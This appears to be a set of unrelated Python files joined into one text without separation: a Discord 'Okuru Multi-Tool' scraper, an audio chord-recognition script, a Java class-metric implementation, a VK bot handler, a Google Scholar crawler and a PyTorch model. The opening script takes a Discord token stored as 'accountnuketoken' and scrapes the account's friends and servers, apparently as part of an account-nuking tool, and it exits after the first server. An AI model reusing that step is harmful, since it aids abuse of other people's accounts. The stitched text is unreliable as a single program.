os.system(f'title [Okuru Multi-Tool] - Scrape')

createfriendsfile = open('Scraped/friends.json','w')
createfriendsfile.close()
createguildsfile = open('Scraped/guilds.json','w')
createguildsfile.close()
file = open('Scraped/friends.json','a')
guild = open('Scraped/guilds.json','a')
with open('settings.json') as f:
    config = json.load(f)
token = config.get('accountnuketoken')
headers = {'Authorization': token}
def scrape():
  r = requests.get('https://discord.com/api/v8/users/@me/relationships', headers=headers)
  for x in r.json():
    file.write(f'{x["id"]}\n')
  p = requests.get('https://discord.com/api/v8/users/@me/guilds', headers=headers)
  for t in p.json():
    guild.write(f'{t["id"]}\n')
    print("Scraping Info...")
    time.sleep(0.1)
    os.system('color 5')
    time.sleep(00.06)
    os.system('color 1')
    time.sleep(00.06)
    os.system('color 2')
    time.sleep(00.06)
    os.system('color 3')
    time.sleep(00.06)
    os.system('color 4')
    time.sleep(00.06)
    os.system('color 5')
    time.sleep(00.06)
    os.system('color 3')
    time.sleep(00.06)
    os.system('color 4')
    time.sleep(00.06)
    exit()
scrape()


import libfmp.c4
import libfmp.c3
import libfmp.b
import pyaudio
import wave
import matplotlib.pyplot as plt
import numpy as np
import wave
import sys

import os
import librosa

# the file name output you want to record into
filename = "recorded.wav"
# set the chunk size of 1024 samples
chunk = 1024
# sample format
FORMAT = pyaudio.paInt16
# mono, change to 2 if you want stereo
channels = 1
# 44100 samples per second
sample_rate = 44100
record_seconds = 3
# initialize PyAudio object
p = pyaudio.PyAudio()
# open stream object as input & output
stream = p.open(format=FORMAT,
                channels=channels,
                rate=sample_rate,
                input=True,
                output=True,
                frames_per_buffer=chunk)
frames = []
print("Recording...")
for i in range(int(sample_rate / chunk * record_seconds)):
    data = stream.read(chunk)
    # if you want to hear your voice while recording
    # stream.write(data)
    frames.append(data)
print("Finished recording.")
# stop and close stream
stream.stop_stream()
stream.close()
# terminate pyaudio object
p.terminate()
# save audio file
# open the file in 'write bytes' mode
wf = wave.open(filename, "wb")
# set the channels
wf.setnchannels(channels)
# set the sample format
wf.setsampwidth(p.get_sample_size(FORMAT))
# set the sample rate
wf.setframerate(sample_rate)
# write the frames as bytes
wf.writeframes(b"".join(frames))
# close the file
wf.close()

spf = wave.open("recorded.wav", "r")

# Extract Raw Audio from Wav File
signal = spf.readframes(-1)
signal = np.frombuffer(signal, np.int64)
fs = spf.getframerate()

# If Stereo
if spf.getnchannels() == 2:
    print("Just mono files")
    sys.exit(0)

Time = np.linspace(0, len(signal) / fs, num=len(signal))

# plt.figure(1)
# plt.title("Signal Wave...")
# plt.plot(Time, signal)
# plt.show()

def compute_chromagram_from_filename(fn_wav, Fs=22050, N=4096, H=2048, gamma=None, version='STFT', norm='2'):
    """Compute chromagram for WAV file specified by filename

    Notebook: C5/C5S2_ChordRec_Templates.ipynb

    Args:
        fn_wav (str): Filenname of WAV
        Fs (scalar): Sampling rate (Default value = 22050)
        N (int): Window size (Default value = 4096)
        H (int): Hop size (Default value = 2048)
        gamma (float): Constant for logarithmic compression (Default value = None)
        version (str): Technique used for front-end decomposition ('STFT', 'IIS', 'CQT') (Default value = 'STFT')
        norm (str): If not 'None', chroma vectors are normalized by norm as specified ('1', '2', 'max')
            (Default value = '2')

    Returns:
        X (np.ndarray): Chromagram
        Fs_X (scalar): Feature reate of chromagram
        x (np.ndarray): Audio signal
        Fs (scalar): Sampling rate of audio signal
        x_dur (float): Duration (seconds) of audio signal
    """
    x, Fs = librosa.load(fn_wav, sr=Fs)
    x_dur = x.shape[0] / Fs
    if version == 'STFT':
        # Compute chroma features with STFT
        X = librosa.stft(x, n_fft=N, hop_length=H,
                         pad_mode='constant', center=True)
        if gamma is not None:
            X = np.log(1 + gamma * np.abs(X) ** 2)
        else:
            X = np.abs(X) ** 2
        X = librosa.feature.chroma_stft(
            S=X, sr=Fs, tuning=0, norm=None, hop_length=H, n_fft=N)
    if version == 'CQT':
        # Compute chroma features with CQT decomposition
        X = librosa.feature.chroma_cqt(y=x, sr=Fs, hop_length=H, norm=None)
    if version == 'IIR':
        # Compute chroma features with filter bank (using IIR elliptic filter)
        X = librosa.iirt(y=x, sr=Fs, win_length=N,
                         hop_length=H, center=True, tuning=0.0)
        if gamma is not None:
            X = np.log(1.0 + gamma * X)
        X = librosa.feature.chroma_cqt(C=X, bins_per_octave=12, n_octaves=7,
                                       fmin=librosa.midi_to_hz(24), norm=None)
    if norm is not None:
        X = libfmp.c3.normalize_feature_sequence(X, norm='2')
    Fs_X = Fs / H
    return X, Fs_X, x, Fs, x_dur

def plot_chromagram_annotation(ax, X, Fs_X, ann, color_ann, x_dur, cmap='gray_r', title=''):
    """Plot chromagram and annotation

    Notebook: C5/C5S2_ChordRec_Templates.ipynb

    Args:
        ax: Axes handle
        X: Feature representation
        Fs_X: Feature rate
        ann: Annotations
        color_ann: Color for annotations
        x_dur: Duration of feature representation
        cmap: Color map for imshow (Default value = 'gray_r')
        title: Title for figure (Default value = '')
    """
    libfmp.b.plot_chromagram(X, Fs=Fs_X, ax=ax,
                             chroma_yticks=[0, 4, 7, 11], clim=[0, 1], cmap=cmap,
                             title=title, ylabel='Chroma', colorbar=True)
    libfmp.b.plot_segments_overlay(ann, ax=ax[0], time_max=x_dur,
                                   print_labels=False, colors=color_ann, alpha=0.1)

def get_chord_labels(ext_minor='m', nonchord=False):
    """Generate chord labels for major and minor triads (and possibly nonchord label)

    Notebook: C5/C5S2_ChordRec_Templates.ipynb

    Args:
        ext_minor (str): Extension for minor chords (Default value = 'm')
        nonchord (bool): If "True" then add nonchord label (Default value = False)

    Returns:
        chord_labels (list): List of chord labels
    """
    chroma_labels = ['C', 'C#', 'D', 'D#', 'E',
                     'F', 'F#', 'G', 'G#', 'A', 'A#', 'B']
    chord_labels_maj = chroma_labels
    chord_labels_min = [s + ext_minor for s in chroma_labels]
    chord_labels = chord_labels_maj + chord_labels_min
    if nonchord is True:
        chord_labels = chord_labels + ['N']
    return chord_labels

def generate_chord_templates(nonchord=False):
    """Generate chord templates of major and minor triads (and possibly nonchord)

    Notebook: C5/C5S2_ChordRec_Templates.ipynb

    Args:
        nonchord (bool): If "True" then add nonchord template (Default value = False)

    Returns:
        chord_templates (np.ndarray): Matrix containing chord_templates as columns
    """
    template_cmaj = np.array([1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0]).T
    template_cmin = np.array([1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0]).T
    num_chord = 24
    if nonchord:
        num_chord = 25
    chord_templates = np.ones((12, num_chord))
    for shift in range(12):
        chord_templates[:, shift] = np.roll(template_cmaj, shift)
        chord_templates[:, shift+12] = np.roll(template_cmin, shift)
    return chord_templates

def chord_recognition_template(X, norm_sim='1', nonchord=False):
    """Conducts template-based chord recognition
    with major and minor triads (and possibly nonchord)

    Notebook: C5/C5S2_ChordRec_Templates.ipynb

    Args:
        X (np.ndarray): Chromagram
        norm_sim (str): Specifies norm used for normalizing chord similarity matrix (Default value = '1')
        nonchord (bool): If "True" then add nonchord template (Default value = False)

    Returns:
        chord_sim (np.ndarray): Chord similarity matrix
        chord_max (np.ndarray): Binarized chord similarity matrix only containing maximizing chord
    """
    chord_templates = generate_chord_templates(nonchord=nonchord)
    X_norm = libfmp.c3.normalize_feature_sequence(X, norm='2')
    chord_templates_norm = libfmp.c3.normalize_feature_sequence(
        chord_templates, norm='2')
    chord_sim = np.matmul(chord_templates_norm.T, X_norm)
    if norm_sim is not None:
        chord_sim = libfmp.c3.normalize_feature_sequence(
            chord_sim, norm=norm_sim)
    # chord_max = (chord_sim == chord_sim.max(axis=0)).astype(int)
    chord_max_index = np.argmax(chord_sim, axis=0)
    chord_max = np.zeros(chord_sim.shape).astype(np.int32)
    for n in range(chord_sim.shape[1]):
        chord_max[chord_max_index[n], n] = 1

    return chord_sim, chord_max

# Compute chroma features
fn_wav = "recorded.wav"
N = 4096
H = 2048
X_STFT, Fs_X, x, Fs, x_dur = compute_chromagram_from_filename(
    fn_wav, N=N, H=H, gamma=0.1, version='STFT')
X_IIR, Fs_X, x, Fs, x_dur = compute_chromagram_from_filename(
    fn_wav, N=N, H=H, gamma=100, version='IIR')
X_CQT, Fs_X, x, Fs, x_dur = compute_chromagram_from_filename(
    fn_wav, N=N, H=H, version='CQT')

X = X_STFT
chord_sim, chord_max = chord_recognition_template(X, norm_sim='max')
chord_labels = get_chord_labels(nonchord=False)
chord_templates = generate_chord_templates()
X_chord = np.matmul(chord_templates, chord_max)

i = 0
max = 0
for x in chord_max:
    print(chord_labels[i], x, sum(x))
    if sum(x) > max:
        max = sum(x)
        max_chord = chord_labels[i]
    i += 1

print(max_chord)

# A Chord is played and read in to the program

print("Chord played: ", max_chord, "\n")
# Read in the file  with the chord progression lists
with open('ChordKeys.txt', 'r') as f:
    for line in f:
        chords = line.split()
        if chords:
            if(chords[0] == max_chord):
                # print(chords)
                break

print("Chords in the Key of ", max_chord, ":")
print(chords, "\n")
# Possible chord progressions

# A     Bb     B     C     C#     D     Eb     E     F     F#     G     G#

# Example - A

# Define Array of 7 and Place each note into their place in the array
# [i][ii][iii][IV][V][vi][vii]
# [A][B][C#][D][E][F#][G#]

pop_Progression = [0]*4
pop = [int(0), int(4), int(5), int(3)]
j = 0
for i in pop:
    pop_Progression[j] = chords[i]
    j = j+1
print("Chords in the Progression:")
print(pop_Progression, "\n")

blues_Progression = [0]*3
blues = [int(0), int(3), int(4)]
j = 0
for i in blues:
    blues_Progression[j] = chords[i]
    j = j+1
print("Chords in the Progression: ")
print(blues_Progression, "\n")

# I – V – vi – iii – IV – I – IV – V
cannon_Progression = [0]*8
cannon = [int(0), int(4), int(5), int(2), int(3), int(0), int(3), int(4)]
j = 0
for i in cannon:
    cannon_Progression[j] = chords[i]
    j = j+1
print("Chords in the Progression: ")
print(cannon_Progression)


from typing import Set, NamedTuple

from aibolit.ast_framework import AST, ASTNode, ASTNodeType

class _MethodInvocationParams(NamedTuple):
    isLocal: bool
    name: str

class RFC:
    """
    The Response For a Class (RFC) is an object-oriented metric
    that shows the interaction of the class methods with other methods.
    This implementation accept arbitrary AST and
    return sum of RFC for all class declaration in it.
    To calculate RFC of a class we count number of public methods and
    number of distinct methods invocation in those methods.
    """

    def value(self, ast: AST) -> int:
        rfc = 0
        for class_declaration in ast.get_proxy_nodes(ASTNodeType.CLASS_DECLARATION):
            rfc += self._calculate_class_RFC(ast.get_subtree(class_declaration))

        return rfc

    def _calculate_class_RFC(self, java_class: AST) -> int:
        class_declaration = java_class.get_root()
        assert class_declaration.node_type == ASTNodeType.CLASS_DECLARATION

        rfc = 0
        invoked_methods: Set[_MethodInvocationParams] = set()
        local_methods_names: Set[str] = set()
        for method_ast in java_class.get_subtrees(ASTNodeType.METHOD_DECLARATION):
            method_declaration = method_ast.get_root()
            local_methods_names.add(method_declaration.name)
            if "public" in method_declaration.modifiers:
                rfc += 1
                invoked_methods |= self._get_all_method_invocation_params(method_ast)

        # filter out inherited methods
        # consider local methods with name not found
        # among methods names of current class as inherited
        invoked_methods = {
            invoked_method
            for invoked_method in invoked_methods
            if not invoked_method.isLocal or invoked_method.name in local_methods_names
        }

        rfc += len(invoked_methods)
        return rfc

    def _get_all_method_invocation_params(self, ast: AST) -> Set[_MethodInvocationParams]:
        return {
            self._create_method_invocation_params(method_invocation)
            for method_invocation in ast.get_proxy_nodes(ASTNodeType.METHOD_INVOCATION)
        }

    def _create_method_invocation_params(self, method_invocation: ASTNode) -> _MethodInvocationParams:
        assert method_invocation.node_type == ASTNodeType.METHOD_INVOCATION
        return _MethodInvocationParams(
            isLocal=method_invocation.qualifier is None, name=method_invocation.member
        )


import asyncio
import functools
import random
from typing import List

from vkbottle.bot import Blueprint, Message

from common.tagsformatter import TagsFormatter
from vk_specific import utils

bp = Blueprint()
cache_size = 16

async def search_images_ttl(keywords: str) -> List[str]:
    key = f'kw_{keywords}'
    res = await utils.common.chat.db.smembers(key)
    if res:
        return list(res)
    else:
        res = await asyncio.get_running_loop().run_in_executor(None, utils.common.img_search.search, keywords)
        if res:
            await utils.common.chat.db.sadd(key, *res)
            last_img_search = await utils.common.chat.db.get('last_img_search')
            if last_img_search:
                await utils.common.chat.db.expire(last_img_search, 60)
            await utils.common.chat.db.set('last_img_search', key)
        return res

def create_demotivator(args: list, url: str, search_results: List[str], not_found: List[str]) -> bytes:
    while True:
        dem = utils.common.demotivator.create(url, args[0], args[1:])
        if dem:
            return dem
        else:
            if search_results is not None:
                search_results.pop(search_results.index(url))
            if search_results:
                url = random.choice(search_results)
            else:
                search_results = not_found
                url = random.choice(search_results)

@bp.on.message(utils.CommandRule(utils.commands.demotivator))
@utils.command_limit('demotivator', 5)
async def demotivator_handler(message: Message):
    fwd, fwd_photos, _ = await utils.unpack_fwd(message)
    fwd = '\n'.join([*fwd.values()])
    text = utils.get_arguments(message.text)

    url = None
    if not text and not fwd:
        if message.peer_id == message.from_id or not await utils.common.chat.is_storing(message.peer_id):
            return await \
                message.answer('Вызов /демотиватор без текста доступен только в беседах со включённой командой /база!')
        text = TagsFormatter.format(await utils.base.random_pair(message.peer_id))
    else:
        if fwd and text:
            text += f'\n{fwd}'
        elif fwd and not text:
            text = fwd
        text = TagsFormatter.format(text)
    if message.attachments:
        url = await utils.get_photo_url(message)
    elif fwd_photos:
        url = [*fwd_photos.values()][0][0]

    search_results = None
    args = text.splitlines()

    last_img_search = await utils.common.chat.db.get('last_img_search')
    if last_img_search:
        not_found = list(await utils.common.chat.db.smembers(last_img_search))
    else:
        not_found = None

    if not url:
        search_results = await search_images_ttl(args[0])
        if search_results:
            url = random.choice(search_results)
        else:
            search_results = not_found
            url = random.choice(search_results)

    fut = utils.pool.submit(create_demotivator, args, url, search_results, not_found)
    fut.add_done_callback(functools.partial(utils.photo_callback, message))


import requests
from bs4 import BeautifulSoup
import time
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
import csv

def executeTest():
    global driver
    driver.get('https://scholar.google.com/citations?hl=ko&user=d5u7NnAAAAAJ&view_op=list_works&sortby=pubdate')
    time.sleep(10)

    # getting more data
    for _ in range(2):
        element = driver.find_element_by_css_selector("button#gsc_bpf_more")
        element.click()
        time.sleep(10)

    title_data = driver.find_elements_by_css_selector('#gsc_a_b > tr > td.gsc_a_t > a') #tr.gsc_a_tr > td.gsc_a_t> a.gsc_a_t
    writer_data = driver.find_elements_by_css_selector('#gsc_a_b > tr > td.gsc_a_t > div:nth-child(2)')
    workshop_data = driver.find_elements_by_css_selector('#gsc_a_b > tr > td.gsc_a_t > div:nth-child(3)')
    year_data =  driver.find_elements_by_css_selector('#gsc_a_b > tr > td.gsc_a_y > span')

    total = len(title_data)
    print(len(workshop_data), len(writer_data), len(year_data))

    f = open('crawled_data.csv', 'w', encoding='utf-8', newline='')
    wr = csv.writer(f)
    header_list = ['year','title','writer','ws']
    wr.writerow(header_list)

    for i in range(total):
        row = [year_data[i].text, title_data[i].text, writer_data[i].text, workshop_data[i].text]
        if len(row[0])==0:
             continue
        wr.writerow(row)

    f.close()

def startWebDriver():
    global driver
    options = Options()
    options.add_argument("--disable-infobars")
    driver = webdriver.Chrome(options=options, executable_path="/Users/heeju/Desktop/program/chromedriver")

if __name__ == "__main__":
    startWebDriver()
    executeTest()
    driver.quit()

'''

dr.maximize_window()
dr.get("http://www.nytimes.com/column/corner-office")

btn = dr.find_element_by_css_selector("button.load-more-button")
btn.click()

print( len(dr.find_elements_by_xpath("//h2[@class='headline']")))
dr.execute_script("window.scrollTo(0, document.body.scrollHeight);")
print( len(dr.find_elements_by_xpath("//h2[@class='headline']")))

with requests.Session() as session:
    html = session.post("https://scholar.google.com/citations?hl=ko&user=d5u7NnAAAAAJ&view_op=list_works&sortby=pubdate", data={'start':1})
    soup = BeautifulSoup(html.text, "html.parser")
    rows = soup.select('tr.gsc_a_tr > td.gsc_a_t> a.gsc_a_at')
    print([i.text for i in rows])
    print(len(rows))

'''


import torch.nn as nn
from enum import Enum
from torch import cat, Tensor
import pickle
from helper import device
import sys

class Networks(Enum):
    Small = 0
    Teleporter = 1
    Mini = 2
    MiniBig = 3

class Network(nn.Module):
    def __init__(self, dim: int, width: int, height: int, network: Networks):
        super(Network, self).__init__()
        if network == Networks.Small:
            self.model = nn.Sequential(nn.Conv2d(dim, 8, 3), nn.LeakyReLU(), nn.Conv2d(8, 12, 3), nn.LeakyReLU(), nn.Conv2d(12, 12, 3), nn.LeakyReLU(), nn.Conv2d(12, 12, 3), nn.LeakyReLU(), nn.Conv2d(12, 16, 3), nn.LeakyReLU(), nn.Conv2d(16, 4, 1), nn.Flatten())
        elif network == Networks.Teleporter:
            self.model = nn.Sequential(nn.Conv2d(dim, 128, 5), nn.LeakyReLU(), nn.Conv2d(128, 64, 3), nn.LeakyReLU(), nn.Flatten(), nn.Linear(64 * (width - 6) * (height - 6), 128), nn.LeakyReLU(), nn.Linear(128, 128), nn.LeakyReLU(), nn.Linear(128, height * width), nn.Flatten())
        elif network == Networks.Mini:
            self.model = nn.Sequential(nn.Conv2d(dim, 64, 3), nn.LeakyReLU(), nn.Conv2d(64, 32, 3), nn.LeakyReLU(), nn.Flatten(), nn.Linear(32 * (width - 4) * (height - 4), 64), nn.LeakyReLU(), nn.Linear(64, 4), nn.Flatten())
        elif network == Networks.MiniBig:
            self.model = nn.Sequential(nn.Conv2d(dim, 128, 5), nn.LeakyReLU(), nn.Conv2d(128, 64, 3), nn.LeakyReLU(), nn.Flatten(), nn.Linear(64 * (width - 6) * (height - 6), 128), nn.LeakyReLU(), nn.Linear(128, 128), nn.LeakyReLU(), nn.Linear(128, 4), nn.Flatten())

    def forward(self, x: Tensor):
        return self.model(x)

    def add_category(self):
        for p in [self.model[-3]._parameters[x] for x in ['bias', 'weight']]:
            p.data = cat((p.data, p.data[-1:]))

class Net:
    def __init__(self, dim: int, width: int, height: int, network: Networks, update: int = None, **kwargs):
        self.network = Network(dim, width, height, network).to(device)
        self.placeholder = Network(dim, width, height, network).to(device)
        self.target = Network(dim, width, height, network).to(device)
        self.i = 1
        self.n = update

    def update(self):
        self.target = pickle.loads(pickle.dumps(self.placeholder))
        self.placeholder = pickle.loads(pickle.dumps(self.network))

    def learn(self):
        self.i += 1
        if self.i % self.n == 0:
            self.update()